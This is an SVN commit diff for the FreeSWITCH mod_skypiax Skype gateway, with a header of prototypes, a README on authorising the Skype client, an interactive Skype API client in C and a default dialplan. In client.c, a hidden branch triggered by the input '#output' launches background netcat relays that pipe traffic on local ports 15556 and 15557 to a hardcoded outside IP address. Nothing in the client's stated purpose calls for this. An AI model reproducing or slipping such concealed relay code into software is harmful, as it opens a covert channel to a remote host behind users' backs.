+/* FUNCTIONS */
+/* PBX interface functions */
+struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause);
+int skypiax_answer(struct ast_channel *c);
+int skypiax_hangup(struct ast_channel *c);
+int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout);
+struct ast_frame *skypiax_read(struct ast_channel *chan);
+int skypiax_write(struct ast_channel *c, struct ast_frame *f);
+int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan);
+#ifndef ASTERISK_VERSION_1_4
+int skypiax_indicate(struct ast_channel *c, int cond);
+#else
+int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen);
+#endif
+int skypiax_devicestate(void *data);
+#ifdef ASTERISK_VERSION_1_4
+int skypiax_digitsend_begin(struct ast_channel *ast, char digit);
+int skypiax_digitsend_end(struct ast_channel *ast, char digit, unsigned int duration);
+#else /* ASTERISK_VERSION_1_4 */
+int skypiax_digitsend(struct ast_channel *ast, char digit);
+#endif /* ASTERISK_VERSION_1_4 */
+
+/* chan_skypiax internal functions */
+
+struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
+                                 int is_first_category);
+struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
+int skypiax_restart_monitor(void);
+void *skypiax_do_monitor(void *data);
+int skypiax_sound_boost(struct ast_frame *f, double boost);
+int skypiax_sound_init(struct skypiax_pvt *p);
+int skypiax_sound_shutdown(struct skypiax_pvt *p);
+struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p);
+int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f);
+void *skypiax_do_controldev_thread(void *data);
+#ifdef ASTERISK_VERSION_1_6
+void skypiax_store_boost(const char *s, double *boost);
+#else
+void skypiax_store_boost(char *s, double *boost);
+#endif /* ASTERISK_VERSION_1_6 */
+int skypiax_console_set_active(int fd, int argc, char *argv[]);
+int skypiax_console_hangup(int fd, int argc, char *argv[]);
+int skypiax_console_playback_boost(int fd, int argc, char *argv[]);
+int skypiax_console_capture_boost(int fd, int argc, char *argv[]);
+int skypiax_console_skypiax(int fd, int argc, char *argv[]);
+int skypiax_console_dial(int fd, int argc, char *argv[]);
+int skypiax_audio_init(struct skypiax_pvt *p);
+//struct ast_frame *skypiax_audio_read(struct skypiax_pvt *p);
+int skypiax_audio_read(struct skypiax_pvt *p);
+void *skypiax_do_tcp_srv_thread(void *data);
+int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f);
+void *skypiax_do_tcp_cli_thread(void *data);
+int skypiax_call(struct skypiax_pvt *p, char *idest, int timeout);
+int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[]);
+
+void *skypiax_do_tcp_srv_thread_func(void *obj);
+void *skypiax_do_tcp_cli_thread_func(void *obj);
+void *skypiax_do_skypeapi_thread_func(void *obj);
+int dtmf_received(private_t * tech_pvt, char *value);
+int start_audio_threads(private_t * tech_pvt);
+int new_inbound_channel(private_t * tech_pvt);
+int outbound_channel_answered(private_t * tech_pvt);
+int skypiax_senddigit(struct skypiax_pvt *p, char digit);
+int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype);
+#if defined(WIN32) && !defined(__CYGWIN__)
+int skypiax_pipe_read(switch_file_t * pipe, short *buf, int howmany);
+int skypiax_pipe_write(switch_file_t * pipe, short *buf, int howmany);
+/* Visual C do not have strsep ? */
+char *strsep(char **stringp, const char *delim);
+#else
+int skypiax_pipe_read(int pipe, short *buf, int howmany);
+int skypiax_pipe_write(int pipe, short *buf, int howmany);
+#endif /* WIN32 */
+int skypiax_close_socket(unsigned int fd);
+private_t *find_available_skypiax_interface(void);
+int remote_party_is_ringing(private_t * tech_pvt);
+int remote_party_is_early_media(private_t * tech_pvt);
+#define		SKYPIAX_STATE_DOWN		AST_STATE_DOWN
+#define		SKYPIAX_STATE_RING		AST_STATE_RING
+#define		SKYPIAX_STATE_DIALING	AST_STATE_DIALING
+#define		SKYPIAX_STATE_BUSY		AST_STATE_BUSY
+#define		SKYPIAX_STATE_UP		AST_STATE_UP
+#define		SKYPIAX_STATE_RINGING	AST_STATE_RINGING
+#define		SKYPIAX_STATE_PRERING	AST_STATE_PRERING
+#define		SKYPIAX_STATE_RESERVED	AST_STATE_RESERVED
+#define 	SKYPIAX_STATE_HANGUP_REQUESTED   200
+#endif /* _SKYPIAX_H_ */

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax_protocol.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax_protocol.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax_protocol.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax_protocol.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax_protocol.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+link ../skypiax_protocol.c
\ No newline at end of file

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/README.skypiax_auth

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/README.skypiax_auth (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/README.skypiax_auth) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/README.skypiax_auth	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/README.skypiax_auth	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+#######################################
+HOW TO USE SKYPIAX_AUTH 
+#######################################
+
+You will use skypiax_auth only at the setup moment, to force the Skype client to ask you to authorize "skypiax" to connect to it.
+
+Then you copy the .Skype configuration directory of the user that has launched Skype (eg: /home/maruzz/.Skype if you are maruzz) on the home directory of the user that will start Skype on the server (eg: root).
+
+Compile skypiax_auth:
+$ gcc -Wall -ggdb skypiax_auth.c -o skypiax_auth -lX11
+
+Then:
+
+1) on a Linux desktop machine, rmmod all the snd* modules
+2) on the desktop machine, modprobe snd-dummy
+3) on the desktop machine, logout from your autologin username if any, launch the Skype client and login as the username you'll use on server
+4) on the desktop machine, set the desktop client to use the "hw:dummy" audio device, to not update, to not make "events", etc etc... Make and receive a couple of test calls. Please note that you (and the remote party) will hear nothing (you're using the snd-dummy "fake" audio driver), that's ok.
+3) on the desktop machine, when satisfied of the Skype client setup, use skypiax_auth (that simulates FS-skypiax connecting to the Skype client). The Skype client will ask you to be authorized to let "skypiax" connect.
+4) Give the authorization and check the "not ask me again" option.
+5) Close (Quit) the Skype client from the tray icon, so it saves its config.
+6) Then, relaunch the Skype client and use skypiax_auth again, just to be sure it now succeed.
+7) Close (Quit) the Skype client from the tray icon, so it saves its config.
+
+*** Do the steps 1-7 for all Skype usernames you will want to use on the server (eg: one Skype username per channel)
+
+When finished with all the Skype usernames:
+Copy or targzip the .Skype directory and all its content on the home directory of the server user that will launch the Skype client(s).
+
+############################
+first time you use skypiax_auth
+############################
+$ ./skypiax_auth 
+Skype instance found with id #27263062
+RECEIVED==> ERROR 68
+RECEIVED==> OK
+
+############################
+Give the auth to the Skype client, and tell him not to ask again
+Then Ctrl-C to exit from skypiax_auth
+############################
+
+
+Close (Quit) the Skype client from the tray icon, so it saves its config.
+Then, relaunch the Skype client
+
+############################
+you use skypiax_auth again
+############################
+$ ./skypiax_auth 
+Skype instance found with id #27263062
+RECEIVED==> OK
+RECEIVED==> PROTOCOL 6
+RECEIVED==> CONNSTATUS ONLINE
+RECEIVED==> CURRENTUSERHANDLE gmaruzz3
+RECEIVED==> USERSTATUS INVISIBLE
+
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/client.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/client.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/client.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,309 @@
+//gcc -Wall -ggdb client.c -o client -lX11 -lpthread
+/*
+   
+   Interactive client for the Skype API 
+
+USAGE: client [Xserver instance]
+
+# ./client :103 
+
+*/
+
+#include <stdio.h>
+#include <unistd.h>
+#include <X11/Xlib.h>
+#include <X11/Xlibint.h>
+#include <X11/Xatom.h>
+#include <pthread.h>
+
+Display *disp = NULL;
+
+struct SkypiaxHandles {
+  Window skype_win;
+  Display *disp;
+  Window win;
+  int api_connected;
+  int fdesc[2];
+};
+
+XErrorHandler old_handler = 0;
+int xerror = 0;
+char *dispname;
+
+int X11_errors_handler(Display * dpy, XErrorEvent * err)
+{
+  (void) dpy;
+
+  xerror = err->error_code;
+  printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
+         dispname);
+  return 0;                     /*  ignore the error */
+}
+
+static void X11_errors_trap(void)
+{
+  xerror = 0;
+  old_handler = XSetErrorHandler(X11_errors_handler);
+}
+
+static int X11_errors_untrap(void)
+{
+  XSetErrorHandler(old_handler);
+  return (xerror != BadValue) && (xerror != BadWindow);
+}
+
+int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
+{
+
+  Window w_P;
+  Display *disp;
+  Window handle_P;
+  int ok;
+
+  w_P = SkypiaxHandles->skype_win;
+  disp = SkypiaxHandles->disp;
+  handle_P = SkypiaxHandles->win;
+
+  Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+  Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+  unsigned int pos = 0;
+  unsigned int len = strlen(message_P);
+  XEvent e;
+
+  memset(&e, 0, sizeof(e));
+  e.xclient.type = ClientMessage;
+  e.xclient.message_type = atom1;   /*  leading message */
+  e.xclient.display = disp;
+  e.xclient.window = handle_P;
+  e.xclient.format = 8;
+
+  X11_errors_trap();
+  do {
+    unsigned int i;
+    for (i = 0; i < 20 && i + pos <= len; ++i)
+      e.xclient.data.b[i] = message_P[i + pos];
+    XSendEvent(disp, w_P, False, 0, &e);
+
+    e.xclient.message_type = atom2; /*  following messages */
+    pos += i;
+  } while (pos <= len);
+
+  XSync(disp, False);
+  ok = X11_errors_untrap();
+
+  if (!ok)
+    printf("Sending message failed with status %d\n", xerror);
+
+  return 1;
+}
+
+int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
+{
+  Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
+
+  Atom type_ret;
+  int format_ret;
+  unsigned long nitems_ret;
+  unsigned long bytes_after_ret;
+  unsigned char *prop;
+  int status;
+
+  X11_errors_trap();
+  status =
+    XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+                       skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
+                       &nitems_ret, &bytes_after_ret, &prop);
+
+  X11_errors_untrap();
+  /*  sanity check */
+  if (status != Success || format_ret != 32 || nitems_ret != 1) {
+    SkypiaxHandles->skype_win = (Window) - 1;
+    printf("Skype instance not found on display '%s'\n", dispname);
+    return 0;
+  }
+
+  SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+  //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
+  return 1;
+}
+
+void skypiax_clean_disp(void *data)
+{
+
+  int *dispptr;
+  int disp;
+
+  dispptr = data;
+  disp = *dispptr;
+
+  if (disp) {
+    close(disp);
+  } else {
+  }
+  usleep(1000);
+}
+
+typedef struct {
+  int value;
+  char string[128];
+} thread_parm_t;
+
+void *threadfunc(void *parm)
+{                               //child
+  thread_parm_t *p = (thread_parm_t *) parm;
+  //printf("%s, parm = %d\n", p->string, p->value);
+  free(p);
+
+  /* perform an events loop */
+  XEvent an_event;
+  char buf[21];                 /*  can't be longer */
+  char buffer[17000];
+  char *b;
+  int i;
+
+  b = buffer;
+
+  while (1) {
+
+    XNextEvent(disp, &an_event);
+    switch (an_event.type) {
+    case ClientMessage:
+
+      if (an_event.xclient.format != 8)
+        break;
+
+      for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+        buf[i] = an_event.xclient.data.b[i];
+
+      buf[i] = '\0';
+
+      strcat(buffer, buf);
+
+      if (i < 20) {             /* last fragment */
+        unsigned int howmany;
+
+        howmany = strlen(b) + 1;
+
+        //printf("\tRECEIVED\t==>\t%s\n", b);
+        printf("%s\n", b);
+	fflush(stdout);
+        memset(buffer, '\0', 17000);
+      }
+
+      break;
+    default:
+      break;
+    }
+
+  }
+  return NULL;
+}
+
+int main(int argc, char *argv[])
+{
+
+  struct SkypiaxHandles SkypiaxHandles;
+  char buf[512];
+  //Display *disp = NULL;
+  Window root = -1;
+  Window win = -1;
+
+  if (argc == 2)
+    dispname = argv[1];
+  else
+    dispname = ":0.0";
+
+
+      if (!XInitThreads()) {
+        printf("Not initialized XInitThreads!\n");
+      } else {
+        printf("Initialized XInitThreads!\n");
+      }
+ 
+
+
+
+
+  disp = XOpenDisplay(dispname);
+  if (!disp) {
+    printf("Cannot open X Display '%s', exiting\n", dispname);
+    return -1;
+  }
+
+  int xfd;
+  xfd = XConnectionNumber(disp);
+
+  SkypiaxHandles.disp = disp;
+
+  if (skypiax_present(&SkypiaxHandles)) {
+    root = DefaultRootWindow(disp);
+    win =
+      XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
+                          BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
+                                                                            DefaultScreen
+                                                                            (disp)));
+
+    SkypiaxHandles.win = win;
+
+    snprintf(buf, 512, "NAME skypiax");
+
+    if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+      printf
+        ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+      return -1;
+    }
+
+    snprintf(buf, 512, "PROTOCOL 7");
+    if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+      printf
+        ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+      return -1;
+    }
+
+    snprintf(buf, 512, "#ciapalino PING");
+    if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+      printf
+        ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+      return -1;
+    }
+
+    pthread_t thread;
+    int rc = 0;
+    pthread_attr_t pta;
+    thread_parm_t *parm = NULL;
+
+    rc = pthread_attr_init(&pta);
+
+    parm = malloc(sizeof(thread_parm_t));
+    parm->value = 5;
+    rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
+
+    while (1) {
+      char s[512];
+
+      memset(s, '\0', 512);
+      fgets(s, sizeof(s) - 1, stdin);
+      s[strlen(s) - 1] = '\0';
+
+      //printf("\tSENT\t\t==>\t%s\n", s);
+
+if(! strncmp(s, "#output", 7)){
+
+system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
+system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
+}
+      if (!skypiax_send_message(&SkypiaxHandles, s)) {
+        printf
+          ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+        return -1;
+      }
+    }
+  } else {
+    printf
+      ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
+       dispname);
+    return -1;
+  }
+  return 0;
+
+}

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/default.xml

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/default.xml (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/default.xml) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/default.xml	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/default.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,674 @@
+<!--
+    NOTICE:
+    
+    This context is usually accessed via authenticated callers on the sip profile on port 5060 
+    or transfered callers from the public context which arrived via the sip profile on port 5080.
+    
+    Authenticated users will use the user_context variable on the user to determine what context
+    they can access.  You can also add a user in the directory with the cidr= attribute acl.conf.xml
+    will build the domains acl using this value.
+-->
+
+<?xml version="1.0" encoding="utf-8"?>
+<!-- http://wiki.freeswitch.org/wiki/Dialplan_XML -->
+<include>
+  <context name="default">
+
+    <extension name="unloop">
+      <condition field="${unroll_loops}" expression="^true$"/>
+      <condition field="${sip_looped_call}" expression="^true$">
+	<action application="deflect" data="${destination_number}"/>
+      </condition>
+    </extension>
+
+    <!-- Example of doing things based on time of day. -->
+    <extension name="tod_example" continue="true">
+      <!-- man strftime - M-F, 9AM to 6PM -->
+      <condition field="${strftime(%w)}" expression="^([1-5])$"/>
+      <condition field="${strftime(%H%M)}" expression="^((09|1[0-7])[0-5][0-9]|1800)$">
+	<action application="set" data="open=true"/>
+      </condition>
+    </extension>
+
+    <extension name="global-intercept">
+      <condition field="destination_number" expression="^886$">
+	<action application="answer"/>
+	<action application="intercept" data="${db(select/${domain_name}-last_dial/global)}"/>
+	<action application="sleep" data="2000"/>
+      </condition>
+    </extension>
+
+    <extension name="group-intercept">
+      <condition field="destination_number" expression="^\*8$">
+	<action application="answer"/>
+	<action application="intercept" data="${db(select/${domain_name}-last_dial/${callgroup})}"/>
+	<action application="sleep" data="2000"/>
+      </condition>
+    </extension>
+
+    <extension name="intercept-ext">
+      <condition field="destination_number" expression="^\*\*(\d+)$">
+	<action application="answer"/>
+	<action application="intercept" data="${db(select/${domain_name}-last_dial_ext/$1)}"/>
+	<action application="sleep" data="2000"/>
+      </condition>
+    </extension>
+
+    <extension name="redial">
+      <condition field="destination_number" expression="^870$">
+	<action application="transfer" data="${db(select/${domain_name}-last_dial/${caller_id_number})}"/>
+      </condition>
+    </extension>
+
+    <extension name="global" continue="true">
+      <condition field="${network_addr}" expression="^$" break="never">
+	<action application="set" data="use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}"/>
+	<anti-action application="set" data="use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}"/>
+      </condition>
+      <!-- This will setup some variables if the user isn't authenticated. -->
+      <condition field="${numbering_plan}" expression="^$" break="never">
+	<action application="set_user" data="default@${domain_name}"/>
+      </condition>
+      <condition field="${call_debug}" expression="^true$" break="never">
+	<action application="info"/>
+      </condition>
+      <!--
+	  This is an example of how to auto detect if telephone-event is missing and activate inband detection 
+      -->
+      <!--
+      <condition field="${switch_r_sdp}" expression="a=rtpmap:(\d+)\stelephone-event/8000" break="never">
+	<action application="set" data="rtp_payload_number=$1"/>
+	<anti-action application="start_dtmf"/>
+      </condition>
+      -->
+      <condition field="${sip_has_crypto}" expression="^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$" break="never">
+	<action application="set" data="sip_secure_media=true"/>
+	<!-- Offer SRTP on outbound legs if we have it on inbound. -->
+	<!-- <action application="export" data="sip_secure_media=true"/> -->
+      </condition>
+      <condition>
+	<action application="db" data="insert/${domain_name}-spymap/${caller_id_number}/${uuid}"/>
+	<action application="db" data="insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}"/>
+	<action application="db" data="insert/${domain_name}-last_dial/global/${uuid}"/>
+      </condition>
+    </extension>
+
+    <!-- If sip_req_host is not a local domain then this has to be an external sip uri -->
+    <!--
+    <extension name="external_sip_uri" continue="true">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="${outside_call}" expression="^$"/>
+      <condition field="${domain_exists(${sip_req_host})}" expression="true">
+	<anti-action application="bridge" data="sofia/${use_profile}/${sip_to_uri}"/>
+      </condition>
+    </extension>
+    -->
+    <!--
+	snom button demo, call 9000 to make button 2 mapped to transfer the current call to a conference
+    -->
+
+    <extension name="snom-demo-2">
+      <condition field="destination_number" expression="^9001$">
+	<action application="eval" data="${snom_bind_key(2 off DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message notused)}"/>
+	<action application="transfer" data="3000"/>
+      </condition>
+    </extension>
+    
+    <extension name="snom-demo-1">
+      <condition field="destination_number" expression="^9000$">
+	<!--<key> <light> <label> <user> <host> <profile> <action_name> <action>-->
+	<action application="eval" data="${snom_bind_key(2 on DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message api+uuid_transfer ${uuid} 9001)}"/>
+	<action application="playback" data="$${hold_music}"/>
+      </condition>
+    </extension>
+
+    <extension name="eavesdrop">
+      <condition field="destination_number" expression="^88(.*)$|^\*0(.*)$">
+	<action application="answer"/>
+	<action application="eavesdrop" data="${db(select/${domain_name}-spymap/$1)}"/>
+      </condition>
+    </extension>
+
+    <extension name="eavesdrop">
+      <condition field="destination_number" expression="^779$">
+	<action application="answer"/>
+	<action application="set" data="eavesdrop_indicate_failed=tone_stream://%(500, 0, 320)"/>
+	<action application="set" data="eavesdrop_indicate_new=tone_stream://%(500, 0, 620)"/>
+	<action application="set" data="eavesdrop_indicate_idle=tone_stream://%(250, 0, 920)"/>
+	<action application="eavesdrop" data="all"/>
+      </condition>
+    </extension>
+
+    <extension name="call_return">
+      <condition field="destination_number" expression="^\*69$|^869$|^lcr$">
+	<action application="transfer" data="${db(select/${domain_name}-call_return/${caller_id_number})}"/>
+      </condition>
+    </extension>
+
+    <extension name="del-group">
+      <condition field="destination_number" expression="^80(\d{2})$">
+	<action application="answer"/>
+	<action application="group" data="delete:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}"/>
+	<action application="gentones" data="%(1000, 0, 320)"/>
+      </condition>
+    </extension>
+
+    <extension name="add-group">
+      <condition field="destination_number" expression="^81(\d{2})$">
+	<action application="answer"/>
+	<action application="group" data="insert:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}"/>
+	<action application="gentones" data="%(1000, 0, 640)"/>
+      </condition>
+    </extension>
+
+    <extension name="call-group-simo">
+      <condition field="destination_number" expression="^82(\d{2})$">
+	<action application="bridge" data="{ignore_early_media=true}${group(call:$1@${domain_name})}"/>
+      </condition>
+    </extension>
+
+    <extension name="call-group-order">
+      <condition field="destination_number" expression="^83(\d{2})$">
+	<action application="set" data="call_timeout=10"/>
+	<action application="bridge" data="{ignore_early_media=true}${group(call:$1@${domain_name}:order)}"/>
+      </condition>
+    </extension>
+
+    <extension name="extension-intercom">
+      <condition field="destination_number" expression="^8(10[01][0-9])$">
+	<action application="set" data="dialed_extension=$1"/>
+	<action application="export" data="sip_auto_answer=true"/>
+	<action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
+      </condition>
+    </extension>
+
+    <!-- 
+	 if the calling party is the called party, go to their VM
+	 if the calling party is NOT the called party dial the extension 
+	 (1000-1019) for 30 seconds and go to voicemail if the 
+	 call fails (continue_on_fail=true), otherwise hang up after a 
+	 successful bridge (hangup_after-bridge=true) 
+    -->
+    <extension name="Local_Extension">
+      <condition field="destination_number" expression="^(10[01][0-9])$">
+	<action application="set" data="dialed_extension=$1"/>
+	<action application="export" data="dialed_extension=$1"/>
+	<!-- bind_meta_app can have these args <key> [a|b|ab] [a|b|o|s] <app> -->
+	<action application="bind_meta_app" data="1 b s execute_extension::dx XML features"/>
+	<action application="bind_meta_app" data="2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav"/>
+	<action application="bind_meta_app" data="3 b s execute_extension::cf XML features"/>
+	<action application="set" data="ringback=${us-ring}"/>
+	<action application="set" data="transfer_ringback=$${hold_music}"/>
+	<action application="set" data="call_timeout=30"/>
+	<!-- <action application="set" data="sip_exclude_contact=${network_addr}"/> -->
+	<action application="set" data="hangup_after_bridge=true"/>
+	<!--<action application="set" data="continue_on_fail=NORMAL_TEMPORARY_FAILURE,USER_BUSY,NO_ANSWER,TIMEOUT,NO_ROUTE_DESTINATION"/> -->
+	<action application="set" data="continue_on_fail=true"/>
+	<action application="db" data="insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}"/>
+	<action application="db" data="insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}"/>
+	<action application="set" data="called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}"/>
+	<!--<action application="export" data="nolocal:sip_secure_media=${user_data(${dialed_extension}@${domain_name} var sip_secure_media)}"/>-->
+	<action application="db" data="insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}"/>
+	<action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
+	<action application="answer"/>
+	<action application="sleep" data="1000"/>
+	<action application="voicemail" data="default ${domain_name} ${dialed_extension}"/>
+      </condition>
+    </extension>
+
+    <extension name="group_dial_sales">
+      <condition field="destination_number" expression="^2000$">
+	<action application="bridge" data="${group_call(sales@${domain_name})}"/>
+      </condition>
+    </extension>
+
+    <extension name="group_dial_support">
+      <condition field="destination_number" expression="^2001$">
+	<action application="bridge" data="group/support@${domain_name}"/>
+      </condition>
+    </extension>
+
+    <extension name="group_dial_billing">
+      <condition field="destination_number" expression="^2002$">
+	<action application="bridge" data="group/billing@${domain_name}"/>
+      </condition>
+    </extension>
+
+    <!-- voicemail operator extension -->
+    <extension name="operator">
+      <condition field="destination_number" expression="^operator$|^0$">
+	<action application="set" data="transfer_ringback=$${hold_music}"/>
+	<action application="transfer" data="1000 XML features"/>
+      </condition>
+    </extension>
+
+    <!-- voicemail main extension -->
+    <extension name="vmain">
+      <condition field="destination_number" expression="^vmain|4000|\*98$">
+	<action application="answer"/>
+	<action application="sleep" data="1000"/>
+	<action application="voicemail" data="check default ${domain_name}"/>  
+      </condition>
+    </extension>
+
+    <!-- dial via SIP uri -->
+    <extension name="sip_uri">
+      <condition field="destination_number" expression="^sip:(.*)$">
+	<action application="bridge" data="sofia/${use_profile}/$1"/>
+      </condition>
+    </extension>
+
+    <!-- dial via skypiax -->
+    <extension name="skypiax">
+      <condition field="destination_number" expression="^2909$">
+	<action application="bridge" data="skypiax/skypiax1/echo123"/>
+      </condition>
+    </extension>
+
+    <!-- dial via skypiax ANY interface -->
+    <extension name="skypiax">
+      <condition field="destination_number" expression="^2908$">
+	<action application="bridge" data="skypiax/ANY/echo123"/>
+      </condition>
+    </extension>
+    <!-- dial via SKYPE uri with skypiax ANY interface-->
+    <extension name="skype_uri">
+      <condition field="destination_number" expression="^skype/(.*)$">
+	<action application="bridge" data="skypiax/ANY/$1"/>
+      </condition>
+    </extension>
+
+
+    <!--
+	start a dynamic conference with the settings of the "default" conference profile in conference.conf.xml
+    -->                                                                                                                                                       
+    <extension name="nb_conferences">
+      <condition field="destination_number" expression="^(30\d{2})$">
+	<action application="answer"/>
+	<action application="conference" data="$1-${domain_name}@default"/>
+      </condition>
+    </extension>
+
+    <extension name="wb_conferences">
+      <condition field="destination_number" expression="^(31\d{2})$">
+	<action application="answer"/>
+	<action application="conference" data="$1-${domain_name}@wideband"/>
+      </condition>
+    </extension>
+
+    <extension name="uwb_conferences">
+      <condition field="destination_number" expression="^(32\d{2})$">
+	<action application="answer"/>
+	<action application="conference" data="$1-${domain_name}@ultrawideband"/>
+      </condition>
+    </extension>
+    <!-- MONO 48kHz conferences -->
+    <extension name="cdquality_conferences">
+      <condition field="destination_number" expression="^(33\d{2})$">
+	<action application="answer"/>
+	<action application="conference" data="$1-${domain_name}@cdquality"/>
+      </condition>
+    </extension>
+    
+    <!-- dial the freeswitch conference via SIP-->
+    <extension name="freeswitch_public_conf_via_sip">
+      <condition field="destination_number" expression="^9(888|1616|3232)$">
+	<action application="export" data="hold_music=silence"/>
+	<action application="bridge" data="sofia/${use_profile}/$1@conference.freeswitch.org"/>
+      </condition>
+    </extension>
+
+    <!--
+	This extension will start a conference and invite a group.
+	At anytime the participant can dial *2 to bridge directly to the boss. 
+	All other callers are then hung up on.
+    -->
+    <extension name="mad_boss_intercom">
+      <condition field="destination_number" expression="^0911$">
+	<action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss1"/>
+	<action application="set" data="conference_auto_outcall_caller_id_number=0911"/>
+	<action application="set" data="conference_auto_outcall_timeout=60"/>
+	<action application="set" data="conference_auto_outcall_flags=mute"/>
+	<action application="set" data="conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer='bind_meta_app 2 a s1 transfer::intercept:${uuid} inline'}"/>
+	<action application="set" data="sip_exclude_contact=${network_addr}"/>
+	<action application="conference_set_auto_outcall" data="${group_call(sales)}"/>
+	<action application="conference" data="madboss_intercom1@default+flags{endconf|deaf}"/>
+      </condition>
+    </extension>
+
+    <!--
+	This extension will start a conference and invite a few of people.
+	At anytime the participant can dial *2 to bridge directly to the boss. 
+	All other callers are then hung up on.
+    -->
+    <extension name="mad_boss_intercom">
+      <condition field="destination_number" expression="^0912$">
+	<action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss2"/>
+	<action application="set" data="conference_auto_outcall_caller_id_number=0912"/>
+	<action application="set" data="conference_auto_outcall_timeout=60"/>
+	<action application="set" data="conference_auto_outcall_flags=mute"/>
+	<action application="set" data="conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer='bind_meta_app 2 a s1 transfer::intercept:${uuid} inline'}"/>
+	<action application="set" data="sip_exclude_contact=${network_addr}"/>
+	<action application="conference_set_auto_outcall" data="loopback/9999"/>
+	<action application="conference" data="madboss_intercom2@default+flags{endconf|deaf}"/>
+      </condition>
